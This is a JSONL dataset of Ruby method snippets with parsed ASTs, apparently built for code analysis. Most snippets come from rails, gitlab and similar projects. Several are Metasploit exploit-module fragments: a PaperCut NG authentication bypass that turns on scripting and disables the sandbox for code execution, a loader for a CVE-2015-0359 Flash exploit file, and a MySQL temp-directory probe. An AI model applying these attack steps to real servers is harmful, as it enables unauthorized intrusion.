{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/controller/routing_test.rb","start_line":1424,"raw_source":"def test_root_map\n    set.draw { root to: \"people#index\" }\n\n    params = request_path_params(\"\", method: :get)\n    assert_equal(\"people\", params[:controller])\n    assert_equal(\"index\", params[:action])\n  end","complexity_score":10.7,"ast_json":"{\"type\":\"def\",\"children\":[\"test_root_map\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"set\"]},\"draw\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"root\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"to\"]},{\"type\":\"str\",\"children\":[\"people#index\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"params\",{\"type\":\"send\",\"children\":[null,\"request_path_params\",{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"method\"]},{\"type\":\"sym\",\"children\":[\"get\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"people\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"controller\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"index\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"action\"]}]}]}]}]}","id":"6989307f-b4db-4e35-a5e1-58b5d4592db7"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/browser/adobe_flash_domain_memory_uaf.rb","start_line":110,"raw_source":"def create_swf\n    path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2015-0359', 'msf.swf')\n    swf = ::File.open(path, 'rb') { |f| swf = f.read }\n\n    swf\n  end","complexity_score":8.4,"ast_json":"{\"type\":\"def\",\"children\":[\"create_swf\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"path\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"File\"]},\"join\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Config\"]},\"data_directory\"]},{\"type\":\"str\",\"children\":[\"exploits\"]},{\"type\":\"str\",\"children\":[\"CVE-2015-0359\"]},{\"type\":\"str\",\"children\":[\"msf.swf\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"swf\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"File\"]},\"open\",{\"type\":\"lvar\",\"children\":[\"path\"]},{\"type\":\"str\",\"children\":[\"rb\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"f\"]}]},{\"type\":\"lvasgn\",\"children\":[\"swf\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"f\"]},\"read\"]}]}]}]},{\"type\":\"lvar\",\"children\":[\"swf\"]}]}]}","id":"12f1ce19-a9bf-471d-851e-e239e973c503"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/relation/structural_compatibility_test.rb","start_line":24,"raw_source":"def test_incompatible_multi_value_relations\n      left = Post.order(\"body asc\").where(\"id = 1\")\n      right = Post.order(\"id desc\").where(id: [2, 3])\n\n      assert_not left.structurally_compatible?(right)\n    end","complexity_score":9.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_incompatible_multi_value_relations\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"left\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Post\"]},\"order\",{\"type\":\"str\",\"children\":[\"body asc\"]}]},\"where\",{\"type\":\"str\",\"children\":[\"id = 1\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"right\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Post\"]},\"order\",{\"type\":\"str\",\"children\":[\"id desc\"]}]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[2]},{\"type\":\"int\",\"children\":[3]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_not\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"left\"]},\"structurally_compatible?\",{\"type\":\"lvar\",\"children\":[\"right\"]}]}]}]}]}","id":"bfdb1df3-b13b-47b9-877d-d8a60eebd46c"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/lib/vmdb/settings.rb","start_line":27,"raw_source":"def self.init\n      ::Config.overwrite_arrays = true\n      ::Config.merge_nil_values = false\n      reset_settings_constant(for_resource(:my_server))\n    end","complexity_score":4.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"init\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Config\"]},\"overwrite_arrays=\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Config\"]},\"merge_nil_values=\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"reset_settings_constant\",{\"type\":\"send\",\"children\":[null,\"for_resource\",{\"type\":\"sym\",\"children\":[\"my_server\"]}]}]}]}]}","id":"6ae339d3-0a49-48a0-83c8-012091b6b225"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/lib/extensions/ar_base.rb","start_line":38,"raw_source":"def self.connectable!\n      with_connection { |conn| conn.connect! && conn.connected? }\n    end","complexity_score":5.5,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"connectable!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_connection\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"conn\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conn\"]},\"connect!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conn\"]},\"connected?\"]}]}]}]}","id":"e0e4d1f6-84ce-4b56-ac42-cd875c87e1ab"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/lib/active_support/html_safe_translation.rb","start_line":43,"raw_source":"def i18n_option?(name)\n        (@i18n_option_names ||= I18n::RESERVED_KEYS.to_set).include?(name)\n      end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"i18n_option?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@i18n_option_names\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"RESERVED_KEYS\"]},\"to_set\"]}]}]},\"include?\",{\"type\":\"lvar\",\"children\":[\"name\"]}]}]}","id":"3fb6696d-2fbb-416f-bbcf-4a1c43fdb997"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/remote/mysql.rb","start_line":126,"raw_source":"def mysql_get_temp_dir\n    print_status \"Checking for temp directory...\"\n    res = mysql_get_variable(\"@@tmpdir\")\n    if res.respond_to? :split\n      target_path = res.split(/[\\x5c\\x2f]+/n).join(\"/\") << \"/\"\n    else\n      print_error \"Cannot determine the temp directory, exiting.\"\n      return false\n    end\n  end","complexity_score":11.2,"ast_json":"{\"type\":\"def\",\"children\":[\"mysql_get_temp_dir\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Checking for temp directory...\"]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"mysql_get_variable\",{\"type\":\"str\",\"children\":[\"@@tmpdir\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"split\"]}]},{\"type\":\"lvasgn\",\"children\":[\"target_path\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"split\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"[\\\\x5c\\\\x2f]+\"]},{\"type\":\"regopt\",\"children\":[\"n\"]}]}]},\"join\",{\"type\":\"str\",\"children\":[\"/\"]}]},\"<<\",{\"type\":\"str\",\"children\":[\"/\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"Cannot determine the temp directory, exiting.\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]}]}]}]}","id":"603ef90a-3920-4212-bccc-ee80fa517911"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/quick_actions/interpret_service.rb","start_line":237,"raw_source":"def usage_ping_tracking(quick_action_name, arg)\n      # Need to add this guard clause as `duo_code_review` quick action will fail\n      # if we continue to track its usage. This is because we don't have a metric\n      # for it and this is something that can change soon (e.g. quick action may\n      # be replaced by a UI component).\n      return if quick_action_name == :duo_code_review\n\n      Gitlab::UsageDataCounters::QuickActionActivityUniqueCounter.track_unique_action(\n        quick_action_name.to_s,\n        args: arg&.strip,\n        user: current_user,\n        project: project\n      )\n    end","complexity_score":7.8,"ast_json":"{\"type\":\"def\",\"children\":[\"usage_ping_tracking\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"quick_action_name\"]},{\"type\":\"arg\",\"children\":[\"arg\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"quick_action_name\"]},\"==\",{\"type\":\"sym\",\"children\":[\"duo_code_review\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"UsageDataCounters\"]},\"QuickActionActivityUniqueCounter\"]},\"track_unique_action\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"quick_action_name\"]},\"to_s\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"args\"]},{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arg\"]},\"strip\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project\"]},{\"type\":\"send\",\"children\":[null,\"project\"]}]}]}]}]}]}","id":"04659fa0-fe74-4890-bb6e-6fdab213a8f4"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/spec/support/acceptance/line_validation.rb","start_line":9,"raw_source":"def initialize(values, options = {})\n      @values = Array(values)\n      @options = options\n    end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"values\"]},{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@values\",{\"type\":\"send\",\"children\":[null,\"Array\",{\"type\":\"lvar\",\"children\":[\"values\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@options\",{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}]}","id":"82c5cffe-e874-4714-ba53-396358dce759"}
{"repo_name":"puma","file_path":"./repos/puma/lib/puma/dsl.rb","start_line":1227,"raw_source":"def set_remote_address(val=:socket)\n      case val\n      when :socket\n        @options[:remote_address] = val\n      when :localhost\n        @options[:remote_address] = :value\n        @options[:remote_address_value] = \"127.0.0.1\".freeze\n      when String\n        @options[:remote_address] = :value\n        @options[:remote_address_value] = val\n      when Hash\n        if hdr = val[:header]\n          @options[:remote_address] = :header\n          @options[:remote_address_header] = \"HTTP_\" + hdr.upcase.tr(\"-\", \"_\")\n        elsif protocol_version = val[:proxy_protocol]\n          @options[:remote_address] = :proxy_protocol\n          protocol_version = protocol_version.downcase.to_sym\n          unless [:v1].include?(protocol_version)\n            raise \"Invalid value for proxy_protocol - #{protocol_version.inspect}\"\n          end\n          @options[:remote_address_proxy_protocol] = protocol_version\n        else\n          raise \"Invalid value for set_remote_address - #{val.inspect}\"\n        end\n      else\n        raise \"Invalid value for set_remote_address - #{val}\"\n      end\n    end","complexity_score":46.9,"ast_json":"{\"type\":\"def\",\"children\":[\"set_remote_address\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"val\",{\"type\":\"sym\",\"children\":[\"socket\"]}]}]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"val\"]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"socket\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@options\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"remote_address\"]},{\"type\":\"lvar\",\"children\":[\"val\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"localhost\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@options\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"remote_address\"]},{\"type\":\"sym\",\"children\":[\"value\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@options\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"remote_address_value\"]},{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"127.0.0.1\"]},\"freeze\"]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[null,\"String\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@options\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"remote_address\"]},{\"type\":\"sym\",\"children\":[\"value\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@options\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"remote_address_value\"]},{\"type\":\"lvar\",\"children\":[\"val\"]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Hash\"]},{\"type\":\"if\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"hdr\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"val\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"header\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@options\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"remote_address\"]},{\"type\":\"sym\",\"children\":[\"header\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@options\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"remote_address_header\"]},{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"HTTP_\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hdr\"]},\"upcase\"]},\"tr\",{\"type\":\"str\",\"children\":[\"-\"]},{\"type\":\"str\",\"children\":[\"_\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"protocol_version\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"val\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"proxy_protocol\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@options\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"remote_address\"]},{\"type\":\"sym\",\"children\":[\"proxy_protocol\"]}]},{\"type\":\"lvasgn\",\"children\":[\"protocol_version\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"protocol_version\"]},\"downcase\"]},\"to_sym\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"v1\"]}]},\"include?\",{\"type\":\"lvar\",\"children\":[\"protocol_version\"]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Invalid value for proxy_protocol - \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"protocol_version\"]},\"inspect\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@options\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"remote_address_proxy_protocol\"]},{\"type\":\"lvar\",\"children\":[\"protocol_version\"]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Invalid value for set_remote_address - \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"val\"]},\"inspect\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Invalid value for set_remote_address - \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"val\"]}]}]}]}]}]}","id":"98dcc2c2-85e2-44c0-a99f-889bd515ffd6"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/exports/formatters/custom_field.rb","start_line":54,"raw_source":"def format_for_export(object, custom_field)\n        case custom_field.field_format\n        when \"bool\"\n          value = object.typed_custom_value_for(custom_field)\n          value == nil ? false : value\n        when \"text\"\n          object.typed_custom_value_for(custom_field)\n        when \"hierarchy\", \"scored_list\"\n          HierarchyFormatter.new.format(object, custom_field)\n        else\n          object.formatted_custom_value_for(custom_field)\n        end\n      end","complexity_score":15.0,"ast_json":"{\"type\":\"def\",\"children\":[\"format_for_export\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"object\"]},{\"type\":\"arg\",\"children\":[\"custom_field\"]}]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"custom_field\"]},\"field_format\"]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"bool\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"value\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"object\"]},\"typed_custom_value_for\",{\"type\":\"lvar\",\"children\":[\"custom_field\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"==\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"false\",\"children\":[]},{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"text\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"object\"]},\"typed_custom_value_for\",{\"type\":\"lvar\",\"children\":[\"custom_field\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"hierarchy\"]},{\"type\":\"str\",\"children\":[\"scored_list\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"HierarchyFormatter\"]},\"new\"]},\"format\",{\"type\":\"lvar\",\"children\":[\"object\"]},{\"type\":\"lvar\",\"children\":[\"custom_field\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"object\"]},\"formatted_custom_value_for\",{\"type\":\"lvar\",\"children\":[\"custom_field\"]}]}]}]}","id":"947099ca-1b1a-4690-8d11-f0af1be57d1b"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/queries/work_packages/filter/filter_on_directed_relations_mixin.rb","start_line":34,"raw_source":"def where\n    relations_subselect = Relation\n                          .where(relation_filter)\n                          .where(relation_type: normalized_relation_type)\n                          .select(relation_select)\n\n    operator = if operator_class <= Queries::Operators::Equals\n                 \"IN\"\n               else\n                 \"NOT IN\"\n               end\n\n    \"#{WorkPackage.table_name}.id #{operator} (#{relations_subselect.to_sql})\"\n  end","complexity_score":15.0,"ast_json":"{\"type\":\"def\",\"children\":[\"where\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"relations_subselect\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Relation\"]},\"where\",{\"type\":\"send\",\"children\":[null,\"relation_filter\"]}]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"relation_type\"]},{\"type\":\"send\",\"children\":[null,\"normalized_relation_type\"]}]}]}]},\"select\",{\"type\":\"send\",\"children\":[null,\"relation_select\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"operator\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"operator_class\"]},\"<=\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Queries\"]},\"Operators\"]},\"Equals\"]}]},{\"type\":\"str\",\"children\":[\"IN\"]},{\"type\":\"str\",\"children\":[\"NOT IN\"]}]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"WorkPackage\"]},\"table_name\"]}]},{\"type\":\"str\",\"children\":[\".id \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"operator\"]}]},{\"type\":\"str\",\"children\":[\" (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"relations_subselect\"]},\"to_sql\"]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]}]}","id":"1fb40eaf-a2d6-452f-b5b0-f23675f74995"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/papercut_ng_auth_bypass.rb","start_line":211,"raw_source":"def exploit\n    # Main function\n    # 1) Bypass the auth using the SetupCompleted page & store the csrf_token for future requests.\n    bypass_auth unless @csrf_token\n    if @csrf_token.nil?\n      fail_with Failure::NotVulnerable, 'Target is not vulnerable'\n    end\n\n    # Sandboxing wasn't introduced until version 19\n    if @version_major >= 19\n      # 2) Enable scripts, if needed\n      set_config_option('print-and-device.script.enabled', 'Y', false)\n\n      # 3) Disable sandboxing, if needed\n      set_config_option('print.script.sandboxed', 'N', false)\n    end\n    # 5) Select the printer, this loads it into the tapestry session to be modified\n    res = send_request_cgi(\n      {\n        'method' => 'GET',\n        'uri' => normalize_uri(target_uri.path),\n        'keep_cookies' => true,\n        'headers' => {\n          'Origin' => full_uri\n        },\n        'vars_get' => {\n          'service' => 'direct/1/PrinterList/selectPrinter',\n          'sp' => 'l1001'\n        }\n      }\n    )\n    fail_with Failure::NotVulnerable, 'Unable to select [Template Printer]' unless res && res.code == 200\n\n    Timeout.timeout(datastore['HTTPDELAY']) { super }\n  rescue Timeout::Error\n    # When the server stop due to our timeout, this is raised\n  end","complexity_score":33.63,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@csrf_token\"]},null,{\"type\":\"send\",\"children\":[null,\"bypass_auth\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@csrf_token\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"NotVulnerable\"]},{\"type\":\"str\",\"children\":[\"Target is not vulnerable\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@version_major\"]},\">=\",{\"type\":\"int\",\"children\":[19]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"set_config_option\",{\"type\":\"str\",\"children\":[\"print-and-device.script.enabled\"]},{\"type\":\"str\",\"children\":[\"Y\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"set_config_option\",{\"type\":\"str\",\"children\":[\"print.script.sandboxed\"]},{\"type\":\"str\",\"children\":[\"N\"]},{\"type\":\"false\",\"children\":[]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"keep_cookies\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"headers\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Origin\"]},{\"type\":\"send\",\"children\":[null,\"full_uri\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"vars_get\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"service\"]},{\"type\":\"str\",\"children\":[\"direct/1/PrinterList/selectPrinter\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"sp\"]},{\"type\":\"str\",\"children\":[\"l1001\"]}]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]}]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"NotVulnerable\"]},{\"type\":\"str\",\"children\":[\"Unable to select [Template Printer]\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Timeout\"]},\"timeout\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"HTTPDELAY\"]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"zsuper\",\"children\":[]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Timeout\"]},\"Error\"]}]},null,null]},null]}]}","id":"a77b24f3-330d-4fda-9937-b98fb2c229f2"}
{"repo_name":"aasm","file_path":"./repos/aasm/lib/aasm/persistence/sequel_persistence.rb","start_line":21,"raw_source":"def aasm_raise_invalid_record\n          raise Sequel::ValidationFailed.new(self)\n        end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"aasm_raise_invalid_record\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Sequel\"]},\"ValidationFailed\"]},\"new\",{\"type\":\"self\",\"children\":[]}]}]}]}","id":"6f9aa9f8-2a09-4b80-807b-e436680de77e"}
